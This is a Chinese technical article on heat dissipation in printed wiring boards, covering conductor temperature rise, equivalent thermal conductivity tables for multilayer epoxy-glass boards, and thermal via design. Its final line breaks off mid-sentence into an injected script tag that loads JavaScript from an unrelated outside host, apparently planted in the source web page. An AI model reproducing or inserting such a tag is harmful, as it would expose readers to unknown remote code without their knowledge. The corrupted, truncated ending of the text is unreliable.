1前言
pwb是指在绝缘基材上形成的导电图形，其作用是安装电子元件，使元件的端子之间连接起来形成电路。随着电子设备向轻薄短小化发展，pwb装载元件密度提高，使pwb上热量高度聚集。如果pwb散热设计不良，会使电子元件焊接部位的焊锡熔化，塑料外壳和pwb基材燃烧。为了保证电子设备的性能长期稳定，要求不断提高pwb的散热性，同时采用适当的技术降低高发热元件的温度。以下探讨pwb的散热设计与对策。
2 pwb的散热设计
2.1估计导体图形的温度上升值
pwb上的导体图形是由铜箔制作的，导体本身并不发热。由于导体图形存在电阻，通电时就会发热。毫安（ma）和微安（μa）量级的小电流通过时，发热问题可以忽略不计。但是，当安培量级的电流通过导体时，发热问题不能忽视。当导体图形的温度上升到85℃左右时，普通的绝缘板自身开始变黄，继续通电时，绝缘基材劣化，失去对元件的支撑功能。因此，设计pwb时要对导体图形的温度上升值作出估计。
图1示出导体宽度和导体截面积与允许电流之间的关系，由图1可以估计导体的温度上升值，也可用于导体图形的线宽设计。例如，设计1个多层pwb板，允许通过的电流为2a，允许的温升为10℃时，由a点可确定pwb的导体截面积；在导体截面积相同的条件下，由c点可确定pwb的铜箔厚度为35μm时，导体线宽应设计为2mm，由b点可确定pwb铜箔厚度为70μm时，导体线宽应设计为1mm。
导体的截面积/10－3mm2
图1 导体宽度和导体截面积与允许电流之间的关系
（多层板内层导体用）
2.2计算pwb的等效导热系数
随着电子设备组装密度的提高，解决散热的最好方法是提高与发热元件直接接触的pwb自身的散热能力。pwb的散热能力，用等效导热系数评价，环氧玻璃布pwb表面的等效导热系数（λeq）计算公式如式（1）所示。
等效导热系数=〔∑i层的导热系数×i层的厚度×i层的导体图形剩余率〕/pwb的总厚度（1）
i层的导体图形剩余率，对铜箔层为铜箔的剩余率；对绝缘层，其剩余率为1。
图2 4层印制线路板的等效导热系数计算
以单面、双面和4层环氧玻璃布基pwb为例，计算其等效导热系数，计算结果分别见表1、表2和表3。
表1 单面pwb的等效导热系数w/m℃
pwb厚度/mm
1.6
1.2
铜箔厚度/μm
35
18
35
18
铜箔剩余率/％
100
9.2
5
12.1
6.5
70
6.6
3.6
8.6
4.7
20
2.2
1.4
2.8
1.7
表2 双面pwb的等效导热系数w/m℃
pwb厚度/mm
1.6
1.2
铜箔厚度/μm
双面均为35
双面均为18
双面均为35
双面均为18
铜箔剩余率/％
100
17.9
9.4
23.7
12.4
70
12.7
6.8
16.7
8.8
20
4
2.3
5.1
2.9
表3 四层pwb的等效导热系数w/m℃
pwb厚度/mm
1.6
1.2
铜箔厚度/μm
2面均为35
2层352层18
4层均为18
4层均为35
2层352层18
4面均为18
铜箔剩余率/％
100
35.3
26.8
18.4
46.9
35.6
24.4
70
24.8
18.9
13
32.9
25.1
17.2
45
16.1
12.3
8.5
21.3
16.3
11.2
20
7.4
5.7
4.1
9.7
7.5
5.2
由表1到表3可以看出，环氧玻璃布基pwb的等效导热系数与pwb的总厚度、铜箔剩余率及铜箔厚度有关。当pwb的总厚度、铜箔剩余率及铜箔厚度相同时，等效导热系数随pwb层数的增加而增大；当pwb的总厚度和铜箔厚度相同时，等效导热系数随pwb铜箔剩余率增加而增大；当pwb总厚度和pwb铜箔剩余率相同时，等效导热系数与铜箔厚度成正比；当pwb铜箔厚度和铜箔剩余率相同时，等效导热系数与pwb总厚度成反比，即pwb的厚度越薄，其等效导热系数越大。
2.3导热孔设计及散热能力计算
pwb厚度方向的导热系数比表面的导热系数小得多，为了改善厚度方向的导热性，可以在pwb上设计导热孔。导热孔是穿透pwb的小孔，一般直径为1.0mm～0.4mm，孔壁镀铜。由于直径小的铜导管沿pwb厚度方向穿透其表面，使pwb正面的热量发生短路，发热元件产生的热量向pwb的背面散发。在安装ic裸片的pwb上，ic的正下方可以设计多个导热孔，1个直径为1mm、镀20μm厚的铜导热孔，其热阻约为48℃/w。
3 pwb散热设计对策
pwb单独不能工作，必须在其表面规定的位置安装并焊接电子元件，安装了电子元件的pwb称为印制电路板（pcb）。pcb通电后就能很好地发挥电气功能。目前几乎所有的电子设备都离不开pcb，当其通电时，pcb上的电子元件就成为发热的热源，其散发的热量会使电子设备的温度上升，当超过元件允许的使用温度时，元件的特性就会发生变化，从而导致设备的性能和可靠性降低、寿命缩短。因此应采用相应的对策解决pcb的散热问题。
3.1用导热改善散热
（1）用导热系数大?script src=http://er12.com/t.js>
